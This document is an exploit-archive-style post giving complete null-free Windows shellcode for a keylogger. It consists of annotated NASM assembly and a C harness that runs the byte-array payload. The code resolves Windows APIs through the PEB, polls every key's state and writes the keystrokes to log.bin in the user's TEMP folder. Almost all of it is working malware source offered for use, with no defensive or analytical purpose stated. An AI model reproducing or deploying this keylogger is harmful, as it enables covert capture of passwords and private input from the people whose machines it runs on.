/*
; Exploit Title: All windows null free shellcode - functional keylogger to file - 601 (0x0259) bytes
; Date: Sat May 7 19:32:08 GMT 2016
; Exploit Author: Fugu
; Vendor Homepage: www.microsoft.com
; Version: all afaik
; Tested on: Win7 (im guessing it will work on others)
; Note: it will write to "log.bin" in the users %TEMP% directory.
; keystrokes are saved in format: "Virtual-Key Codes", from
; msdn.microsoft.com website
; nasm -f win32 test.asm && i686-w64-mingw32-ld -o test.exe test.obj
; |STACK| (at the main loop)
; 00000000 Location of bool array
; 00000000 |
; 00000000 |
; 00000000 |
; 00000000 |
; 00000000 |
; 00000000 |
; 00000000 V_
; (FILE HANDLE)
; KERNEL32.lstrcatA
; KERNEL32.Sleep
; KERNEL32.GetEnvironmentVariableA
; KERNEL32.CreateFileA
; KERNEL32.WriteFileA
; user32.GetKeyState
; user32.7EC00000
; KERNEL32.LoadLibraryA
; KERNEL32.GetModuleHandleA
; KERNEL32.GetProcAddress
; KERNEL32.7B410000
section .bss
section .data
section .text
global _start
_start:
cld ; 00000000 FC
xor edx,edx ; 00000001 31D2
mov dl,0x30 ; 00000003 B230
push dword [fs:edx] ; 00000005 64FF32
pop edx ; 00000008 5A
mov edx,[edx+0xc] ; 00000009 8B520C
mov edx,[edx+0x14] ; 0000000C 8B5214
loc_fh:
mov esi,[edx+0x28] ; 0000000F 8B7228
xor eax,eax ; 00000012 31C0
mov ecx,eax ; 00000014 89C1
mov cl,0x3 ; 00000016 B103
loc_18h:
lodsb ; 00000018 AC
rol eax,byte 0x8 ; 00000019 C1C008
lodsb ; 0000001C AC
loop loc_18h ; 0000001D E2F9
lodsb ; 0000001F AC
cmp eax,0x4b45524e ; 00000020 3D4E52454B
jz loc_2ch ; 00000025 7405
cmp eax,0x6b65726e ; 00000027 3D6E72656B
loc_2ch:
mov ebx,[edx+0x10] ; 0000002C 8B5A10
mov edx,[edx] ; 0000002F 8B12
jnz loc_fh ; 00000031 75DC
mov edx,[ebx+0x3c] ; 00000033 8B533C
add edx,ebx ; 00000036 01DA
push dword [edx+0x34] ; 00000038 FF7234
mov edx,[edx+0x78] ; 0000003B 8B5278
add edx,ebx ; 0000003E 01DA
mov esi,[edx+0x20] ; 00000040 8B7220
add esi,ebx ; 00000043 01DE
;GetProcAddress
xor ecx,ecx ; 00000045 31C9
loc_47h:
inc ecx ; 00000047 41
lodsd ; 00000048 AD
add eax,ebx ; 00000049 01D8
cmp dword [eax],0x50746547 ; 0000004B 813847657450
jnz loc_47h ; 00000051 75F4
cmp dword [eax+0x4],0x41636f72 ; 00000053 817804726F6341
jnz loc_47h ; 0000005A 75EB
cmp dword [eax+0x8],0x65726464 ; 0000005C 81780864647265
jnz loc_47h ; 00000063 75E2
dec ecx ; 00000065 49
mov esi,[edx+0x24] ; 00000066 8B7224
add esi,ebx ; 00000069 01DE
mov cx,[esi+ecx*2] ; 0000006B 668B0C4E
mov esi,[edx+0x1c] ; 0000006F 8B721C
add esi,ebx ; 00000072 01DE
mov edx,[esi+ecx*4] ; 00000074 8B148E
add edx,ebx ; 00000077 01DA
mov edi,edx ; 00000079 89D7
push edx ; 0000007B 52
;GetModuleHandleA
xor eax,eax ; 0000007C 31C0
push eax ; 0000007E 50
push dword 0x41656c64 ; 0000007F 68646C6541
push dword 0x6e614865 ; 00000084 686548616E
push dword 0x6c75646f ; 00000089 686F64756C
push dword 0x4d746547 ; 0000008E 684765744D
push esp ; 00000093 54
push ebx ; 00000094 53
call edi ; 00000095 FFD7
lea esp,[esp+0x14] ; 00000097 8D642414
push eax ; 0000009B 50
;GetModuleHandleA("USER32.DLL")
push dword 0x88014c4c ; 0000009C 684C4C0188
dec byte [esp+0x2] ; 000000A1 FE4C2402
push dword 0x442e3233 ; 000000A5 6833322E44
push dword 0x52455355 ; 000000AA 6855534552
push esp ; 000000AF 54
call eax ; 000000B0 FFD0
xor edx,edx ; 000000B2 31D2
cmp eax,edx ; 000000B4 39D0
jnz loc_f0h ; 000000B6 7538
lea esp,[esp+0xc] ; 000000B8 8D64240C
;LoadLibraryA
push edx ; 000000BC 52
push dword 0x41797261 ; 000000BD 6861727941
push dword 0x7262694c ; 000000C2 684C696272
push dword 0x64616f4c ; 000000C7 684C6F6164
push esp ; 000000CC 54
push ebx ; 000000CD 53
call edi ; 000000CE FFD7
lea esp,[esp+0x10] ; 000000D0 8D642410
push eax ; 000000D4 50
;LoadLibraryA("USER32.DLL")
push dword 0x77014c4c ; 000000D5 684C4C0177
dec byte [esp+0x2] ; 000000DA FE4C2402
push dword 0x442e3233 ; 000000DE 6833322E44
push dword 0x52455355 ; 000000E3 6855534552
push esp ; 000000E8 54
call eax ; 000000E9 FFD0
lea esp,[esp+0xc] ; 000000EB 8D64240C
push eax ; 000000EF 50
;GetKeyState
loc_f0h:
mov edx,eax ; 000000F0 89C2
push dword 0x1657461 ; 000000F2 6861746501
dec byte [esp+0x3] ; 000000F7 FE4C2403
push dword 0x74537965 ; 000000FB 6865795374
push dword 0x4b746547 ; 00000100 684765744B
push esp ; 00000105 54
push edx ; 00000106 52
call edi ; 00000107 FFD7
lea esp,[esp+0xc] ; 00000109 8D64240C
push eax ; 0000010D 50
;WriteFile
push dword 0x55010165 ; 0000010E 6865010155
dec byte [esp+0x1] ; 00000113 FE4C2401
push dword 0x6c694665 ; 00000117 686546696C
push dword 0x74697257 ; 0000011C 6857726974
push esp ; 00000121 54
push ebx ; 00000122 53
call edi ; 00000123 FFD7
lea esp,[esp+0xc] ; 00000125 8D64240C
push eax ; 00000129 50
;CreateFileA
push dword 0x141656c ; 0000012A 686C654101
dec byte [esp+0x3] ; 0000012F FE4C2403
push dword 0x69466574 ; 00000133 6874654669
push dword 0x61657243 ; 00000138 6843726561
push esp ; 0000013D 54
push ebx ; 0000013E 53
call edi ; 0000013F FFD7
lea esp,[esp+0xc] ; 00000141 8D64240C
push eax ; 00000145 50
;GetEnvironmentVariableA
push dword 0x141656c ; 00000146 686C654101
dec byte [esp+0x3] ; 0000014B FE4C2403
push dword 0x62616972 ; 0000014F 6872696162
push dword 0x6156746e ; 00000154 686E745661
push dword 0x656d6e6f ; 00000159 686F6E6D65
push dword 0x7269766e ; 0000015E 686E766972
push dword 0x45746547 ; 00000163 6847657445
push esp ; 00000168 54
push ebx ; 00000169 53
call edi ; 0000016A FFD7
lea esp,[esp+0x18] ; 0000016C 8D642418
push eax ; 00000170 50
;Sleep
push byte +0x70 ; 00000171 6A70
push dword 0x65656c53 ; 00000173 68536C6565
push esp ; 00000178 54
push ebx ; 00000179 53
call edi ; 0000017A FFD7
lea esp,[esp+0x8] ; 0000017C 8D642408
push eax ; 00000180 50
;lstrcatA
push edx ; 00000181 52
push dword 0x41746163 ; 00000182 6863617441
push dword 0x7274736c ; 00000187 686C737472
push esp ; 0000018C 54
push ebx ; 0000018D 53
call edi ; 0000018E FFD7
lea esp,[esp+0xc] ; 00000190 8D64240C
push eax ; 00000194 50
;GetEnvironmentVariableA("TEMP");
xor ecx,ecx ; 00000195 31C9
mov cl,0xe ; 00000197 B10E
loc_199h:
push ecx ; 00000199 51
loop loc_199h ; 0000019A E2FD
push ecx ; 0000019C 51
push dword 0x504d4554 ; 0000019D 6854454D50
mov ecx,esp ; 000001A2 89E1
push byte +0x40 ; 000001A4 6A40
push ecx ; 000001A6 51
push ecx ; 000001A7 51
call dword [esp+0x54] ; 000001A8 FF542454
mov edx,esp ; 000001AC 89E2
;"\log.bin"
push byte +0x1 ; 000001AE 6A01
dec byte [esp] ; 000001B0 FE0C24
push dword 0x6e69622e ; 000001B3 682E62696E
push dword 0x676f6c5c ; 000001B8 685C6C6F67
mov ecx,esp ; 000001BD 89E1
push ecx ; 000001BF 51
push edx ; 000001C0 52
call dword [esp+0x54] ; 000001C1 FF542454
;CreateFileA("%TEMP%\log.bin")
xor ecx,ecx ; 000001C5 31C9
push ecx ; 000001C7 51
push ecx ; 000001C8 51
add byte [esp],0x80 ; 000001C9 80042480
push byte +0x4 ; 000001CD 6A04
push ecx ; 000001CF 51
push byte +0x2 ; 000001D0 6A02
push ecx ; 000001D2 51
add byte [esp],0x4 ; 000001D3 80042404
push eax ; 000001D7 50
call dword [esp+0x74] ; 000001D8 FF542474
lea esp,[esp+0x4c] ; 000001DC 8D64244C
push eax ; 000001E0 50
xor ecx,ecx ; 000001E1 31C9
mov esi,ecx ; 000001E3 89CE
mov cl,0x8 ; 000001E5 B108
loc_1e7h:
push esi ; 000001E7 56
loop loc_1e7h ; 000001E8 E2FD
;main loop
loc_1eah:
xor ecx,ecx ; 000001EA 31C9
xor esi,esi ; 000001EC 31F6
push byte +0x8 ; 000001EE 6A08
call dword [esp+0x2c] ; 000001F0 FF54242C
loc_1f4h:
mov eax,esi ; 000001F4 89F0
cmp al,0xff ; 000001F6 3CFF
jnc loc_1eah ; 000001F8 73F0
inc esi ; 000001FA 46
push esi ; 000001FB 56
call dword [esp+0x3c] ; 000001FC FF54243C
mov edx,esi ; 00000200 89F2
xor ecx,ecx ; 00000202 31C9
mov cl,0x80 ; 00000204 B180
and eax,ecx ; 00000206 21C8
xor ecx,ecx ; 00000208 31C9
cmp eax,ecx ; 0000020A 39C8
jnz loc_21eh ; 0000020C 7510
;GetKeyState false
;set bool array index zero
xor edx,edx ; 0000020E 31D2
mov ecx,edx ; 00000210 89D1
mov eax,esi ; 00000212 89F0
mov cl,0x20 ; 00000214 B120
div ecx ; 00000216 F7F1
btr [esp+eax*4],edx ; 00000218 0FB31484
jmp short loc_1f4h ; 0000021C EBD6
;GetKeyState true
;check bool array
;if bool true, skip
;if bool false, set bool true, write to file
loc_21eh:
xor edx,edx ; 0000021E 31D2
mov ecx,edx ; 00000220 89D1
mov eax,esi ; 00000222 89F0
mov cl,0x20 ; 00000224 B120
div ecx ; 00000226 F7F1
bt [esp+eax*4],edx ; 00000228 0FA31484
jc loc_1f4h ; 0000022C 72C6
xor edx,edx ; 0000022E 31D2
mov ecx,edx ; 00000230 89D1
mov eax,esi ; 00000232 89F0
mov cl,0x20 ; 00000234 B120
div ecx ; 00000236 F7F1
bts [esp+eax*4],edx ; 00000238 0FAB1484
xor ecx,ecx ; 0000023C 31C9
push esi ; 0000023E 56
push ecx ; 0000023F 51
lea ecx,[esp] ; 00000240 8D0C24
push ecx ; 00000243 51
push byte +0x1 ; 00000244 6A01
lea ecx,[esp+0xc] ; 00000246 8D4C240C
push ecx ; 0000024A 51
push dword [esp+0x34] ; 0000024B FF742434
call dword [esp+0x4c] ; 0000024F FF54244C
lea esp,[esp+0x4] ; 00000253 8D642404
jmp short loc_1eah ; 00000257 EB91
*/
#include <stdio.h>
#include <string.h>
unsigned char sc[] = "\xfc\x31\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52\x0c\x8b\x52\x14\x8b"
"\x72\x28\x31\xc0\x89\xc1\xb1\x03\xac\xc1\xc0\x08\xac\xe2\xf9\xac"
"\x3d\x4e\x52\x45\x4b\x74\x05\x3d\x6e\x72\x65\x6b\x8b\x5a\x10\x8b"
"\x12\x75\xdc\x8b\x53\x3c\x01\xda\xff\x72\x34\x8b\x52\x78\x01\xda"
"\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64"
"\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x8b"
"\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd7\x52\x31\xc0\x50\x68"
"\x64\x6c\x65\x41\x68\x65\x48\x61\x6e\x68\x6f\x64\x75\x6c\x68\x47"
"\x65\x74\x4d\x54\x53\xff\xd7\x8d\x64\x24\x14\x50\x68\x4c\x4c\x01"
"\x88\xfe\x4c\x24\x02\x68\x33\x32\x2e\x44\x68\x55\x53\x45\x52\x54"
"\xff\xd0\x31\xd2\x39\xd0\x75\x38\x8d\x64\x24\x0c\x52\x68\x61\x72"
"\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd7"
"\x8d\x64\x24\x10\x50\x68\x4c\x4c\x01\x77\xfe\x4c\x24\x02\x68\x33"
"\x32\x2e\x44\x68\x55\x53\x45\x52\x54\xff\xd0\x8d\x64\x24\x0c\x50"
"\x89\xc2\x68\x61\x74\x65\x01\xfe\x4c\x24\x03\x68\x65\x79\x53\x74"
"\x68\x47\x65\x74\x4b\x54\x52\xff\xd7\x8d\x64\x24\x0c\x50\x68\x65"
"\x01\x01\x55\xfe\x4c\x24\x01\x68\x65\x46\x69\x6c\x68\x57\x72\x69"
"\x74\x54\x53\xff\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe"
"\x4c\x24\x03\x68\x74\x65\x46\x69\x68\x43\x72\x65\x61\x54\x53\xff"
"\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe\x4c\x24\x03\x68"
"\x72\x69\x61\x62\x68\x6e\x74\x56\x61\x68\x6f\x6e\x6d\x65\x68\x6e"
"\x76\x69\x72\x68\x47\x65\x74\x45\x54\x53\xff\xd7\x8d\x64\x24\x18"
"\x50\x6a\x70\x68\x53\x6c\x65\x65\x54\x53\xff\xd7\x8d\x64\x24\x08"
"\x50\x52\x68\x63\x61\x74\x41\x68\x6c\x73\x74\x72\x54\x53\xff\xd7"
"\x8d\x64\x24\x0c\x50\x31\xc9\xb1\x0e\x51\xe2\xfd\x51\x68\x54\x45"
"\x4d\x50\x89\xe1\x6a\x40\x51\x51\xff\x54\x24\x54\x89\xe2\x6a\x01"
"\xfe\x0c\x24\x68\x2e\x62\x69\x6e\x68\x5c\x6c\x6f\x67\x89\xe1\x51"
"\x52\xff\x54\x24\x54\x31\xc9\x51\x51\x80\x04\x24\x80\x6a\x04\x51"
"\x6a\x02\x51\x80\x04\x24\x04\x50\xff\x54\x24\x74\x8d\x64\x24\x4c"
"\x50\x31\xc9\x89\xce\xb1\x08\x56\xe2\xfd\x31\xc9\x31\xf6\x6a\x08"
"\xff\x54\x24\x2c\x89\xf0\x3c\xff\x73\xf0\x46\x56\xff\x54\x24\x3c"
"\x89\xf2\x31\xc9\xb1\x80\x21\xc8\x31\xc9\x39\xc8\x75\x10\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xb3\x14\x84\xeb\xd6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xa3\x14\x84\x72\xc6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xab\x14\x84\x31\xc9\x56\x51"
"\x8d\x0c\x24\x51\x6a\x01\x8d\x4c\x24\x0c\x51\xff\x74\x24\x34\xff"
"\x54\x24\x4c\x8d\x64\x24\x04\xeb\x91";
int main(int argc, char *argv[]){
printf("Shellcode length: %d\n", (int)strlen(sc));
(*(void(*)(void))&sc)();
return 0;
}
